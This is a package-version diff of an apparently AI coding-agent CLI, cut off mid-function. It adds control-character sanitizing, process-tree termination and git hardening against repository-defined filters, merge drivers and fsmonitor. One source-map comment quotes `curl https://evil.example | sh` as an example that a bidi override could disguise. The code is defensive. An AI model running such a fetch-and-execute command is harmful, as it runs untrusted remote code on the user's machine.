@letrquan/book 0.2.0 → 0.4.0-beta.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/CHANGELOG.md +3771 -40
- package/README.md +135 -1311
- package/dist/additional-roots-VAWRQ625.js +32 -0
- package/dist/{app-MOXXWEOY.js → app-J7BVPSUH.js} +9648 -5509
- package/dist/app-J7BVPSUH.js.map +1 -0
- package/dist/chunk-2AAOF5B5.js +28 -0
- package/dist/chunk-2AAOF5B5.js.map +1 -0
- package/dist/chunk-32WBCUAN.js +660 -0
- package/dist/chunk-32WBCUAN.js.map +1 -0
- package/dist/chunk-4DKHLZRI.js +120 -0
- package/dist/chunk-4DKHLZRI.js.map +1 -0
- package/dist/{chunk-CAGOB2N4.js → chunk-62EEAUID.js} +6 -4
- package/dist/chunk-62EEAUID.js.map +1 -0
- package/dist/chunk-AHC7OU75.js +1124 -0
- package/dist/chunk-AHC7OU75.js.map +1 -0
- package/dist/{chunk-E75IPST5.js → chunk-AJZWLKLQ.js} +73 -70
- package/dist/chunk-AJZWLKLQ.js.map +1 -0
- package/dist/chunk-B5FC3MYZ.js +395 -0
- package/dist/chunk-B5FC3MYZ.js.map +1 -0
- package/dist/{chunk-KWHQ2XXL.js → chunk-DNFQTSMJ.js} +55 -13
- package/dist/chunk-DNFQTSMJ.js.map +1 -0
- package/dist/{chunk-J7MIZ5CA.js → chunk-E5WLQSKA.js} +719 -89
- package/dist/chunk-E5WLQSKA.js.map +1 -0
- package/dist/chunk-ECLC4CIJ.js +1181 -0
- package/dist/chunk-ECLC4CIJ.js.map +1 -0
- package/dist/chunk-EEX6QNXV.js +127 -0
- package/dist/chunk-EEX6QNXV.js.map +1 -0
- package/dist/chunk-EFXVSQ5J.js +931 -0
- package/dist/chunk-EFXVSQ5J.js.map +1 -0
- package/dist/{chunk-V4BOYR52.js → chunk-ENLB7NYV.js} +1304 -326
- package/dist/chunk-ENLB7NYV.js.map +1 -0
- package/dist/chunk-FPR7SKIE.js +6926 -0
- package/dist/chunk-FPR7SKIE.js.map +1 -0
- package/dist/{chunk-DGMQEI6Y.js → chunk-HFB74CLM.js} +30 -9
- package/dist/chunk-HFB74CLM.js.map +1 -0
- package/dist/{chunk-5RDRAO4B.js → chunk-HOZXKOE3.js} +37 -1
- package/dist/chunk-HOZXKOE3.js.map +1 -0
- package/dist/chunk-IDYWN37T.js +36 -0
- package/dist/chunk-IDYWN37T.js.map +1 -0
- package/dist/chunk-J4F2QLM2.js +273 -0
- package/dist/chunk-J4F2QLM2.js.map +1 -0
- package/dist/chunk-JGF5HLSI.js +1065 -0
- package/dist/chunk-JGF5HLSI.js.map +1 -0
- package/dist/{chunk-XIFFTATU.js → chunk-KDNWMKXV.js} +7166 -4237
- package/dist/chunk-KDNWMKXV.js.map +1 -0
- package/dist/chunk-KXAYUIKP.js +90 -0
- package/dist/chunk-KXAYUIKP.js.map +1 -0
- package/dist/{chunk-3U5IBM24.js → chunk-MEOB2DZA.js} +12 -2
- package/dist/chunk-MEOB2DZA.js.map +1 -0
- package/dist/{chunk-WKBO5R4O.js → chunk-MV5PQNIA.js} +2 -2
- package/dist/chunk-MV5PQNIA.js.map +1 -0
- package/dist/chunk-N2G4Q7ME.js +2672 -0
- package/dist/chunk-N2G4Q7ME.js.map +1 -0
- package/dist/chunk-OJBMDM5H.js +299 -0
- package/dist/chunk-OJBMDM5H.js.map +1 -0
- package/dist/{chunk-URLQAXTR.js → chunk-PTDC7ZUP.js} +2 -2
- package/dist/chunk-PTDC7ZUP.js.map +1 -0
- package/dist/{chunk-574C6MQR.js → chunk-REASC2QG.js} +173 -64
- package/dist/chunk-REASC2QG.js.map +1 -0
- package/dist/{chunk-7N4J557C.js → chunk-RT5SATF7.js} +1 -1
- package/dist/chunk-RT5SATF7.js.map +1 -0
- package/dist/chunk-SBTU5BEC.js +114 -0
- package/dist/chunk-SBTU5BEC.js.map +1 -0
- package/dist/{chunk-5KLVH3PY.js → chunk-SWPDKLNM.js} +5 -3
- package/dist/chunk-SWPDKLNM.js.map +1 -0
- package/dist/chunk-UCFJ43OS.js +520 -0
- package/dist/chunk-UCFJ43OS.js.map +1 -0
- package/dist/{chunk-VZQXX3WW.js → chunk-W7SLYS3M.js} +80 -16
- package/dist/chunk-W7SLYS3M.js.map +1 -0
- package/dist/{chunk-ANSJPYGI.js → chunk-WV3O5PGX.js} +3 -3
- package/dist/chunk-WV3O5PGX.js.map +1 -0
- package/dist/chunk-XHAO3K7I.js +18 -0
- package/dist/chunk-XHAO3K7I.js.map +1 -0
- package/dist/chunk-XJRJVXJR.js +1050 -0
- package/dist/chunk-XJRJVXJR.js.map +1 -0
- package/dist/chunk-YIL6HTJX.js +663 -0
- package/dist/chunk-YIL6HTJX.js.map +1 -0
- package/dist/{chunk-24AXE6SP.js → chunk-ZPSZZUWF.js} +1 -1
- package/dist/chunk-ZPSZZUWF.js.map +1 -0
- package/dist/{command-approvals-6Y57VCWZ.js → command-approvals-ZRY66LCW.js} +7 -5
- package/dist/context-C3RAP6K5.js +41 -0
- package/dist/{hook-approvals-CTUFKEJT.js → hook-approvals-DPQD5H65.js} +6 -5
- package/dist/index.js +947 -203
- package/dist/index.js.map +1 -1
- package/dist/{interactive-assets-CCAAWVKH.js → interactive-assets-73AQO5WP.js} +18 -9
- package/dist/interactive-assets-73AQO5WP.js.map +1 -0
- package/dist/job-runner.js +166 -111
- package/dist/job-runner.js.map +1 -1
- package/dist/job-supervisor.d.ts +2 -0
- package/dist/job-supervisor.js +121 -0
- package/dist/job-supervisor.js.map +1 -0
- package/dist/loader-DQNPDKOX.js +27 -0
- package/dist/{mcp-approvals-WNPH65BK.js → mcp-approvals-27LJYADQ.js} +6 -5
- package/dist/{mcp-config-YIJIES2C.js → mcp-config-GXSODNCM.js} +4 -3
- package/dist/memory-store-I6Z54VUN.js +51 -0
- package/dist/{model-window-store-YFVNXCIP.js → model-window-store-6VKXXTPJ.js} +9 -4
- package/dist/openai-compatible-IPUNBJ53.js +16 -0
- package/dist/permission-approvals-Q5IMFEZI.js +15 -0
- package/dist/permissions-7Y35X6HZ.js +62 -0
- package/dist/provider-approvals-5AGH3RVT.js +76 -0
- package/dist/sandbox-N2RY72GN.js +42 -0
- package/dist/{scrollback-LUKLIBVI.js → scrollback-GD76GNM4.js} +44 -26
- package/dist/scrollback-GD76GNM4.js.map +1 -0
- package/dist/sdk.d.ts +2739 -2069
- package/dist/sdk.js +77 -42
- package/dist/sdk.js.map +1 -1
- package/dist/settings-loader-KDBH45AQ.js +43 -0
- package/dist/settings-loader-KDBH45AQ.js.map +1 -0
- package/dist/{settings-removed-JWWPT4WA.js → settings-removed-3ATWJEF3.js} +2 -2
- package/dist/settings-removed-3ATWJEF3.js.map +1 -0
- package/dist/shell-selection-Z5WORZU4.js +31 -0
- package/dist/shell-selection-Z5WORZU4.js.map +1 -0
- package/package.json +25 -24
- package/dist/app-MOXXWEOY.js.map +0 -1
- package/dist/chunk-24AXE6SP.js.map +0 -1
- package/dist/chunk-3U5IBM24.js.map +0 -1
- package/dist/chunk-574C6MQR.js.map +0 -1
- package/dist/chunk-5GDZ22YP.js +0 -449
- package/dist/chunk-5GDZ22YP.js.map +0 -1
- package/dist/chunk-5KLVH3PY.js.map +0 -1
- package/dist/chunk-5RDRAO4B.js.map +0 -1
- package/dist/chunk-7N4J557C.js.map +0 -1
- package/dist/chunk-A7JLBK2Y.js +0 -3506
- package/dist/chunk-A7JLBK2Y.js.map +0 -1
- package/dist/chunk-ANSJPYGI.js.map +0 -1
- package/dist/chunk-BTZZUCLI.js +0 -264
- package/dist/chunk-BTZZUCLI.js.map +0 -1
- package/dist/chunk-C7D4NJ2D.js +0 -217
- package/dist/chunk-C7D4NJ2D.js.map +0 -1
- package/dist/chunk-CAGOB2N4.js.map +0 -1
- package/dist/chunk-DGMQEI6Y.js.map +0 -1
- package/dist/chunk-E75IPST5.js.map +0 -1
- package/dist/chunk-EYGD6X2T.js +0 -180
- package/dist/chunk-EYGD6X2T.js.map +0 -1
- package/dist/chunk-GTVB4HEM.js +0 -765
- package/dist/chunk-GTVB4HEM.js.map +0 -1
- package/dist/chunk-J7MIZ5CA.js.map +0 -1
- package/dist/chunk-KWHQ2XXL.js.map +0 -1
- package/dist/chunk-L6LK2QIQ.js +0 -657
- package/dist/chunk-L6LK2QIQ.js.map +0 -1
- package/dist/chunk-MAQXCUR4.js +0 -1007
- package/dist/chunk-MAQXCUR4.js.map +0 -1
- package/dist/chunk-S4XL7HOM.js +0 -402
- package/dist/chunk-S4XL7HOM.js.map +0 -1
- package/dist/chunk-URLQAXTR.js.map +0 -1
- package/dist/chunk-V4BOYR52.js.map +0 -1
- package/dist/chunk-VZQXX3WW.js.map +0 -1
- package/dist/chunk-WKBO5R4O.js.map +0 -1
- package/dist/chunk-XIFFTATU.js.map +0 -1
- package/dist/context-ZC5IFEAX.js +0 -25
- package/dist/interactive-assets-CCAAWVKH.js.map +0 -1
- package/dist/loader-4IDS2RIE.js +0 -15
- package/dist/openai-compatible-RHZUBHV6.js +0 -10
- package/dist/permission-approvals-76PVREFD.js +0 -14
- package/dist/permissions-CHCKTFQQ.js +0 -28
- package/dist/sandbox-CNVAQDA7.js +0 -23
- package/dist/scrollback-LUKLIBVI.js.map +0 -1
- package/dist/settings-loader-M2QP5TX2.js +0 -21
- package/dist/shell-selection-V6QAYXPX.js +0 -17
- package/patches/ink+6.8.0.patch +0 -13
- package/scripts/apply-ink-patch.mjs +0 -29
- package/scripts/ink-patch.mjs +0 -59
- package/scripts/verify-ink-patch.mjs +0 -11
- /package/dist/{command-approvals-6Y57VCWZ.js.map → additional-roots-VAWRQ625.js.map} +0 -0
- /package/dist/{context-ZC5IFEAX.js.map → command-approvals-ZRY66LCW.js.map} +0 -0
- /package/dist/{hook-approvals-CTUFKEJT.js.map → context-C3RAP6K5.js.map} +0 -0
- /package/dist/{loader-4IDS2RIE.js.map → hook-approvals-DPQD5H65.js.map} +0 -0
- /package/dist/{mcp-approvals-WNPH65BK.js.map → loader-DQNPDKOX.js.map} +0 -0
- /package/dist/{mcp-config-YIJIES2C.js.map → mcp-approvals-27LJYADQ.js.map} +0 -0
- /package/dist/{model-window-store-YFVNXCIP.js.map → mcp-config-GXSODNCM.js.map} +0 -0
- /package/dist/{openai-compatible-RHZUBHV6.js.map → memory-store-I6Z54VUN.js.map} +0 -0
- /package/dist/{permission-approvals-76PVREFD.js.map → model-window-store-6VKXXTPJ.js.map} +0 -0
- /package/dist/{permissions-CHCKTFQQ.js.map → openai-compatible-IPUNBJ53.js.map} +0 -0
- /package/dist/{sandbox-CNVAQDA7.js.map → permission-approvals-Q5IMFEZI.js.map} +0 -0
- /package/dist/{settings-loader-M2QP5TX2.js.map → permissions-7Y35X6HZ.js.map} +0 -0
- /package/dist/{settings-removed-JWWPT4WA.js.map → provider-approvals-5AGH3RVT.js.map} +0 -0
- /package/dist/{shell-selection-V6QAYXPX.js.map → sandbox-N2RY72GN.js.map} +0 -0
|
@@ -0,0 +1,28 @@
|
|
|
1
|
+
// src/control-characters.ts
|
|
2
|
+
var CONTROL_CHARACTERS = /[\u0000-\u001f\u007f-\u009f\u061c\u200e\u200f\u2028\u2029\u202a-\u202e\u2066-\u2069]+/g;
|
|
3
|
+
function foldControlCharacters(text) {
|
|
4
|
+
return text.replace(CONTROL_CHARACTERS, " ");
|
|
5
|
+
}
|
|
6
|
+
function stripTerminalControls(text) {
|
|
7
|
+
return text.replace(/\r\n/g, "\n").replace(
|
|
8
|
+
/[\u0000-\u0008\u000b-\u001f\u007f-\u009f\u061c\u200e\u200f\u2028\u2029\u202a-\u202e\u2066-\u2069]+/g,
|
|
9
|
+
" "
|
|
10
|
+
);
|
|
11
|
+
}
|
|
12
|
+
var INVISIBLE_CHARACTER = /[\u0000-\u001f\u007f-\u00a0\u00ad\u061c\u180e\u2000-\u200f\u2028-\u202f\u205f-\u2064\u2066-\u206f\u3000\ufeff]/g;
|
|
13
|
+
function escapeInvisibleCharacters(text) {
|
|
14
|
+
return text.replace(INVISIBLE_CHARACTER, (character) => {
|
|
15
|
+
if (character === "\n") return "\\n";
|
|
16
|
+
if (character === "\r") return "\\r";
|
|
17
|
+
if (character === " ") return "\\t";
|
|
18
|
+
return `\\u${character.charCodeAt(0).toString(16).toUpperCase().padStart(4, "0")}`;
|
|
19
|
+
});
|
|
20
|
+
}
|
|
21
|
+
|
|
22
|
+
export {
|
|
23
|
+
CONTROL_CHARACTERS,
|
|
24
|
+
foldControlCharacters,
|
|
25
|
+
stripTerminalControls,
|
|
26
|
+
escapeInvisibleCharacters
|
|
27
|
+
};
|
|
28
|
+
//# sourceMappingURL=chunk-2AAOF5B5.js.map
|
|
@@ -0,0 +1 @@
|
|
|
1
|
+
{"version":3,"sources":["../src/control-characters.ts"],"sourcesContent":["/**\n * Characters that make rendered text differ from the text itself: C0 controls and DEL, C1\n * controls (NEL included), the Arabic letter mark, LRM/RLM, the line and paragraph separators,\n * and the bidi embeddings, overrides and isolates. An override can display\n * `curl https://evil.example | sh` as something harmless, and a newline or ESC breaks a one-line\n * row. Global: use it with `replace`, never `test`.\n */\nexport const CONTROL_CHARACTERS =\n /[\\u0000-\\u001f\\u007f-\\u009f\\u061c\\u200e\\u200f\\u2028\\u2029\\u202a-\\u202e\\u2066-\\u2069]+/g;\n\n/** Fold every run of {@link CONTROL_CHARACTERS} to one space, for a one-line display. */\nexport function foldControlCharacters(text: string): string {\n return text.replace(CONTROL_CHARACTERS, ' ');\n}\n\n/**\n * Replace every control character except newline and tab with a space, for multi-line text shown\n * as is (tool output under a screen reader): a bidi override or an escape sequence must not\n * rewrite the terminal, but the line structure stays. A CRLF becomes a newline first.\n */\nexport function stripTerminalControls(text: string): string {\n return text\n .replace(/\\r\\n/g, '\\n')\n .replace(\n /[\\u0000-\\u0008\\u000b-\\u001f\\u007f-\\u009f\\u061c\\u200e\\u200f\\u2028\\u2029\\u202a-\\u202e\\u2066-\\u2069]+/g,\n ' ',\n );\n}\n\n/**\n * Characters a reader cannot see or cannot tell from a plain space: the controls above, NBSP,\n * soft hyphen, the Unicode spaces U+2000-U+200A, zero-width characters, word joiners, the\n * ideographic space and the BOM.\n */\nconst INVISIBLE_CHARACTER =\n /[\\u0000-\\u001f\\u007f-\\u00a0\\u00ad\\u061c\\u180e\\u2000-\\u200f\\u2028-\\u202f\\u205f-\\u2064\\u2066-\\u206f\\u3000\\ufeff]/g;\n\n/**\n * Show every invisible character as an escape (`\\n`, `\\r`, `\\t`, otherwise `\\uXXXX`), so a\n * model told which character was rejected can see it. Ordinary spaces are kept.\n */\nexport function escapeInvisibleCharacters(text: string): string {\n return text.replace(INVISIBLE_CHARACTER, (character) => {\n if (character === '\\n') return '\\\\n';\n if (character === '\\r') return '\\\\r';\n if (character === '\\t') return '\\\\t';\n return `\\\\u${character.charCodeAt(0).toString(16).toUpperCase().padStart(4, '0')}`;\n });\n}\n"],"mappings":";AAOO,IAAM,qBACX;AAGK,SAAS,sBAAsB,MAAsB;AAC1D,SAAO,KAAK,QAAQ,oBAAoB,GAAG;AAC7C;AAOO,SAAS,sBAAsB,MAAsB;AAC1D,SAAO,KACJ,QAAQ,SAAS,IAAI,EACrB;AAAA,IACC;AAAA,IACA;AAAA,EACF;AACJ;AAOA,IAAM,sBACJ;AAMK,SAAS,0BAA0B,MAAsB;AAC9D,SAAO,KAAK,QAAQ,qBAAqB,CAAC,cAAc;AACtD,QAAI,cAAc,KAAM,QAAO;AAC/B,QAAI,cAAc,KAAM,QAAO;AAC/B,QAAI,cAAc,IAAM,QAAO;AAC/B,WAAO,MAAM,UAAU,WAAW,CAAC,EAAE,SAAS,EAAE,EAAE,YAAY,EAAE,SAAS,GAAG,GAAG,CAAC;AAAA,EAClF,CAAC;AACH;","names":[]}
|
|
@@ -0,0 +1,660 @@
|
|
|
1
|
+
import {
|
|
2
|
+
systemClock
|
|
3
|
+
} from "./chunk-RT5SATF7.js";
|
|
4
|
+
import {
|
|
5
|
+
buildChildEnv
|
|
6
|
+
} from "./chunk-XHAO3K7I.js";
|
|
7
|
+
import {
|
|
8
|
+
homeGitCeiling
|
|
9
|
+
} from "./chunk-SBTU5BEC.js";
|
|
10
|
+
import {
|
|
11
|
+
toolFailure,
|
|
12
|
+
toolSuccess
|
|
13
|
+
} from "./chunk-YIL6HTJX.js";
|
|
14
|
+
|
|
15
|
+
// src/jobs/process-tree.ts
|
|
16
|
+
import { execFile } from "child_process";
|
|
17
|
+
|
|
18
|
+
// src/system32.ts
|
|
19
|
+
import { existsSync } from "fs";
|
|
20
|
+
import { join } from "path";
|
|
21
|
+
function system32Executable(name, platform = process.platform, env = process.env) {
|
|
22
|
+
if (platform !== "win32") return name;
|
|
23
|
+
const fileName = name.toLowerCase().endsWith(".exe") ? name : `${name}.exe`;
|
|
24
|
+
const systemRoot = env.SystemRoot || env.windir || "C:\\Windows";
|
|
25
|
+
const targetPath = join(systemRoot, "System32", fileName);
|
|
26
|
+
return existsSync(targetPath) ? targetPath : name;
|
|
27
|
+
}
|
|
28
|
+
|
|
29
|
+
// src/jobs/process-tree.ts
|
|
30
|
+
var GROUP_POLL_INTERVAL_MS = 25;
|
|
31
|
+
var TERMINATE_GRACE_MS = 1500;
|
|
32
|
+
function signalTargetExists(target) {
|
|
33
|
+
try {
|
|
34
|
+
process.kill(target, 0);
|
|
35
|
+
return true;
|
|
36
|
+
} catch (error) {
|
|
37
|
+
return error.code === "EPERM";
|
|
38
|
+
}
|
|
39
|
+
}
|
|
40
|
+
function isProcessAlive(pid) {
|
|
41
|
+
return pid === void 0 ? false : signalTargetExists(pid);
|
|
42
|
+
}
|
|
43
|
+
function isProcessGroupAlive(pgid) {
|
|
44
|
+
if (pgid === void 0 || process.platform === "win32") return false;
|
|
45
|
+
return signalTargetExists(-pgid);
|
|
46
|
+
}
|
|
47
|
+
function signalProcessGroup(proc, pgid, signal) {
|
|
48
|
+
try {
|
|
49
|
+
process.kill(-pgid, signal);
|
|
50
|
+
} catch {
|
|
51
|
+
try {
|
|
52
|
+
proc?.kill(signal);
|
|
53
|
+
} catch {
|
|
54
|
+
}
|
|
55
|
+
}
|
|
56
|
+
}
|
|
57
|
+
async function waitForProcessGroupExit(pgid, timeoutMs, clock = systemClock) {
|
|
58
|
+
const deadline = clock.monotonicNowMs() + timeoutMs;
|
|
59
|
+
while (isProcessGroupAlive(pgid)) {
|
|
60
|
+
if (clock.monotonicNowMs() >= deadline) return false;
|
|
61
|
+
await new Promise((resolve) => setTimeout(resolve, GROUP_POLL_INTERVAL_MS));
|
|
62
|
+
}
|
|
63
|
+
return true;
|
|
64
|
+
}
|
|
65
|
+
function waitForProcessClose(proc, timeoutMs) {
|
|
66
|
+
if (proc.exitCode !== null || proc.signalCode !== null) return Promise.resolve(true);
|
|
67
|
+
return new Promise((resolve) => {
|
|
68
|
+
const timer = setTimeout(() => {
|
|
69
|
+
cleanup();
|
|
70
|
+
resolve(proc.exitCode !== null || proc.signalCode !== null);
|
|
71
|
+
}, timeoutMs);
|
|
72
|
+
const onClose = () => {
|
|
73
|
+
cleanup();
|
|
74
|
+
resolve(true);
|
|
75
|
+
};
|
|
76
|
+
const cleanup = () => {
|
|
77
|
+
clearTimeout(timer);
|
|
78
|
+
proc.off("close", onClose);
|
|
79
|
+
};
|
|
80
|
+
proc.once("close", onClose);
|
|
81
|
+
});
|
|
82
|
+
}
|
|
83
|
+
async function runTaskkill(pid, timeoutMs = TERMINATE_GRACE_MS) {
|
|
84
|
+
return new Promise((resolve) => {
|
|
85
|
+
execFile(
|
|
86
|
+
system32Executable("taskkill"),
|
|
87
|
+
["/PID", String(pid), "/T", "/F"],
|
|
88
|
+
// Book's own helper, but it is a command like any other and is handed no more of Book's
|
|
89
|
+
// environment than the next one would be.
|
|
90
|
+
{ windowsHide: true, timeout: timeoutMs, env: buildChildEnv() },
|
|
91
|
+
(error) => resolve(!error)
|
|
92
|
+
);
|
|
93
|
+
});
|
|
94
|
+
}
|
|
95
|
+
async function terminateWindowsProcessTree(proc, pid, signal, treeKill = runTaskkill) {
|
|
96
|
+
const alreadyExited = proc.exitCode !== null || proc.signalCode !== null;
|
|
97
|
+
if (alreadyExited) return true;
|
|
98
|
+
if (await treeKill(pid)) return true;
|
|
99
|
+
try {
|
|
100
|
+
proc.kill(signal);
|
|
101
|
+
} catch {
|
|
102
|
+
}
|
|
103
|
+
return false;
|
|
104
|
+
}
|
|
105
|
+
async function terminateProcessTree(proc, pid, hasClosed) {
|
|
106
|
+
if (!proc || pid === void 0) return true;
|
|
107
|
+
if (process.platform !== "win32") {
|
|
108
|
+
signalProcessGroup(proc, pid, "SIGTERM");
|
|
109
|
+
if (await waitForProcessGroupExit(pid, TERMINATE_GRACE_MS)) return true;
|
|
110
|
+
signalProcessGroup(proc, pid, "SIGKILL");
|
|
111
|
+
return waitForProcessGroupExit(pid, TERMINATE_GRACE_MS);
|
|
112
|
+
}
|
|
113
|
+
const confirmed = await terminateWindowsProcessTree(proc, pid, "SIGTERM");
|
|
114
|
+
if (await hasClosed(TERMINATE_GRACE_MS)) return confirmed;
|
|
115
|
+
try {
|
|
116
|
+
proc.kill("SIGKILL");
|
|
117
|
+
} catch {
|
|
118
|
+
return false;
|
|
119
|
+
}
|
|
120
|
+
return await hasClosed(TERMINATE_GRACE_MS) && confirmed;
|
|
121
|
+
}
|
|
122
|
+
async function terminateForegroundProcess(proc) {
|
|
123
|
+
await terminateProcessTree(proc, proc.pid, (timeoutMs) => waitForProcessClose(proc, timeoutMs));
|
|
124
|
+
}
|
|
125
|
+
|
|
126
|
+
// src/tools/git.ts
|
|
127
|
+
import { execFile as execFile3 } from "child_process";
|
|
128
|
+
|
|
129
|
+
// src/tools/git-repository-programs.ts
|
|
130
|
+
import { execFile as execFile2 } from "child_process";
|
|
131
|
+
import { delimiter } from "path";
|
|
132
|
+
var GIT_HARDENING_ARGS = [
|
|
133
|
+
"-c",
|
|
134
|
+
"core.fsmonitor=false",
|
|
135
|
+
"-c",
|
|
136
|
+
"core.pager=cat",
|
|
137
|
+
"-c",
|
|
138
|
+
"core.hooksPath=",
|
|
139
|
+
"-c",
|
|
140
|
+
"core.untrackedCache=false",
|
|
141
|
+
"-c",
|
|
142
|
+
"gc.auto=0",
|
|
143
|
+
"-c",
|
|
144
|
+
"maintenance.auto=false",
|
|
145
|
+
"-c",
|
|
146
|
+
"log.showSignature=false",
|
|
147
|
+
"--no-optional-locks"
|
|
148
|
+
];
|
|
149
|
+
function hardenedGitEnv() {
|
|
150
|
+
return { GIT_PAGER: "cat", GIT_TERMINAL_PROMPT: "0", ...homeGitCeilingEnv() };
|
|
151
|
+
}
|
|
152
|
+
function homeGitCeilingEnv() {
|
|
153
|
+
const ceiling = homeGitCeiling();
|
|
154
|
+
if (ceiling === void 0) return {};
|
|
155
|
+
const exported = process.env.GIT_CEILING_DIRECTORIES;
|
|
156
|
+
return { GIT_CEILING_DIRECTORIES: exported ? `${exported}${delimiter}${ceiling}` : ceiling };
|
|
157
|
+
}
|
|
158
|
+
function hardenedGitArgs(args) {
|
|
159
|
+
return [...GIT_HARDENING_ARGS, ...args];
|
|
160
|
+
}
|
|
161
|
+
var REPOSITORY_PROGRAM_CONFIG_PATTERN = "^(core\\.fsmonitor|filter\\..*\\.(clean|smudge|process|required)|merge\\..*\\.driver|extensions\\.partialclone|remote\\..*\\.(promisor|partialclonefilter))$";
|
|
162
|
+
var OPERATOR_SCOPES = /* @__PURE__ */ new Set(["system", "global", "command"]);
|
|
163
|
+
var REPOSITORY_SCOPES = /* @__PURE__ */ new Set(["local", "worktree"]);
|
|
164
|
+
function parseGitConfig(stdout, options) {
|
|
165
|
+
const fields = stdout.split("\0");
|
|
166
|
+
const entries = [];
|
|
167
|
+
if (options?.scope !== void 0) {
|
|
168
|
+
const scope = options.scope.toLowerCase();
|
|
169
|
+
for (const field of fields) {
|
|
170
|
+
if (!field) continue;
|
|
171
|
+
const separator = field.indexOf("\n");
|
|
172
|
+
entries.push({
|
|
173
|
+
scope,
|
|
174
|
+
key: canonicalConfigKey(separator === -1 ? field : field.slice(0, separator)),
|
|
175
|
+
value: separator === -1 ? "true" : field.slice(separator + 1)
|
|
176
|
+
});
|
|
177
|
+
}
|
|
178
|
+
return entries;
|
|
179
|
+
}
|
|
180
|
+
for (let index = 0; index + 1 < fields.length; index += 2) {
|
|
181
|
+
const separator = fields[index + 1].indexOf("\n");
|
|
182
|
+
entries.push({
|
|
183
|
+
scope: fields[index].toLowerCase(),
|
|
184
|
+
key: canonicalConfigKey(
|
|
185
|
+
separator === -1 ? fields[index + 1] : fields[index + 1].slice(0, separator)
|
|
186
|
+
),
|
|
187
|
+
value: separator === -1 ? "true" : fields[index + 1].slice(separator + 1)
|
|
188
|
+
});
|
|
189
|
+
}
|
|
190
|
+
return entries;
|
|
191
|
+
}
|
|
192
|
+
function canonicalConfigKey(raw) {
|
|
193
|
+
const nameStart = raw.lastIndexOf(".");
|
|
194
|
+
if (nameStart === -1) return raw.toLowerCase();
|
|
195
|
+
const head = raw.slice(0, nameStart);
|
|
196
|
+
const name = raw.slice(nameStart + 1).toLowerCase();
|
|
197
|
+
const subsectionStart = head.indexOf(".");
|
|
198
|
+
if (subsectionStart === -1) return `${head.toLowerCase()}.${name}`;
|
|
199
|
+
const section = head.slice(0, subsectionStart).toLowerCase();
|
|
200
|
+
return `${section}.${head.slice(subsectionStart + 1)}.${name}`;
|
|
201
|
+
}
|
|
202
|
+
function repositoryProgramPins(entries, options = {}) {
|
|
203
|
+
const allowFsmonitor = options.allowFsmonitor ?? true;
|
|
204
|
+
const operatorFilters = /* @__PURE__ */ new Map();
|
|
205
|
+
const operatorMergeDrivers = /* @__PURE__ */ new Map();
|
|
206
|
+
const repoFilterNames = /* @__PURE__ */ new Set();
|
|
207
|
+
const repoFiltersWithProcess = /* @__PURE__ */ new Set();
|
|
208
|
+
const repoMergeDriverNames = /* @__PURE__ */ new Set();
|
|
209
|
+
let lastFsmonitor;
|
|
210
|
+
for (const entry of entries) {
|
|
211
|
+
const isRepo = REPOSITORY_SCOPES.has(entry.scope);
|
|
212
|
+
const isOperator = OPERATOR_SCOPES.has(entry.scope);
|
|
213
|
+
if (entry.key === "core.fsmonitor") {
|
|
214
|
+
if (entry.scope !== "command") {
|
|
215
|
+
lastFsmonitor = entry.value;
|
|
216
|
+
}
|
|
217
|
+
} else if (entry.key.startsWith("filter.")) {
|
|
218
|
+
const lastDot = entry.key.lastIndexOf(".");
|
|
219
|
+
if (lastDot >= 7) {
|
|
220
|
+
const prop = entry.key.slice(lastDot + 1);
|
|
221
|
+
const name = entry.key.slice(7, lastDot);
|
|
222
|
+
if (prop === "clean" || prop === "smudge" || prop === "process" || prop === "required") {
|
|
223
|
+
if (isRepo) {
|
|
224
|
+
if (name.includes("=")) {
|
|
225
|
+
throw new Error(
|
|
226
|
+
`the repository's configuration defines a filter or merge driver named ${JSON.stringify(name)}, which Book cannot neutralize, so it will not run git here`
|
|
227
|
+
);
|
|
228
|
+
}
|
|
229
|
+
repoFilterNames.add(name);
|
|
230
|
+
if (prop === "process") {
|
|
231
|
+
repoFiltersWithProcess.add(name);
|
|
232
|
+
}
|
|
233
|
+
}
|
|
234
|
+
if (isOperator) {
|
|
235
|
+
let op = operatorFilters.get(name);
|
|
236
|
+
if (!op) {
|
|
237
|
+
op = {};
|
|
238
|
+
operatorFilters.set(name, op);
|
|
239
|
+
}
|
|
240
|
+
op[prop] = entry.value;
|
|
241
|
+
}
|
|
242
|
+
}
|
|
243
|
+
}
|
|
244
|
+
} else if (entry.key.startsWith("merge.") && entry.key.endsWith(".driver")) {
|
|
245
|
+
const name = entry.key.slice(6, -7);
|
|
246
|
+
if (isRepo) {
|
|
247
|
+
if (name.includes("=")) {
|
|
248
|
+
throw new Error(
|
|
249
|
+
`the repository's configuration defines a filter or merge driver named ${JSON.stringify(name)}, which Book cannot neutralize, so it will not run git here`
|
|
250
|
+
);
|
|
251
|
+
}
|
|
252
|
+
repoMergeDriverNames.add(name);
|
|
253
|
+
}
|
|
254
|
+
if (isOperator) {
|
|
255
|
+
operatorMergeDrivers.set(name, entry.value);
|
|
256
|
+
}
|
|
257
|
+
}
|
|
258
|
+
}
|
|
259
|
+
const pins = [];
|
|
260
|
+
for (const name of repoFilterNames) {
|
|
261
|
+
const op = operatorFilters.get(name);
|
|
262
|
+
const clean = op?.clean ?? "";
|
|
263
|
+
const smudge = op?.smudge ?? "";
|
|
264
|
+
const process2 = op?.process ?? "";
|
|
265
|
+
const required = op?.required ?? "false";
|
|
266
|
+
pins.push("-c", `filter.${name}.clean=${clean}`, "-c", `filter.${name}.smudge=${smudge}`);
|
|
267
|
+
const hasOperator = op !== void 0;
|
|
268
|
+
const repoHasProcess = repoFiltersWithProcess.has(name);
|
|
269
|
+
const opHasProcess = op?.process !== void 0;
|
|
270
|
+
if (!hasOperator || repoHasProcess || opHasProcess) {
|
|
271
|
+
pins.push("-c", `filter.${name}.process=${process2}`);
|
|
272
|
+
}
|
|
273
|
+
pins.push("-c", `filter.${name}.required=${required}`);
|
|
274
|
+
}
|
|
275
|
+
for (const name of repoMergeDriverNames) {
|
|
276
|
+
const driver = operatorMergeDrivers.get(name) ?? "";
|
|
277
|
+
pins.push("-c", `merge.${name}.driver=${driver}`);
|
|
278
|
+
}
|
|
279
|
+
if (allowFsmonitor && lastFsmonitor !== void 0) {
|
|
280
|
+
const trimmed = lastFsmonitor.trim().toLowerCase();
|
|
281
|
+
if (["true", "yes", "on", "1"].includes(trimmed)) {
|
|
282
|
+
pins.push("-c", "core.fsmonitor=true");
|
|
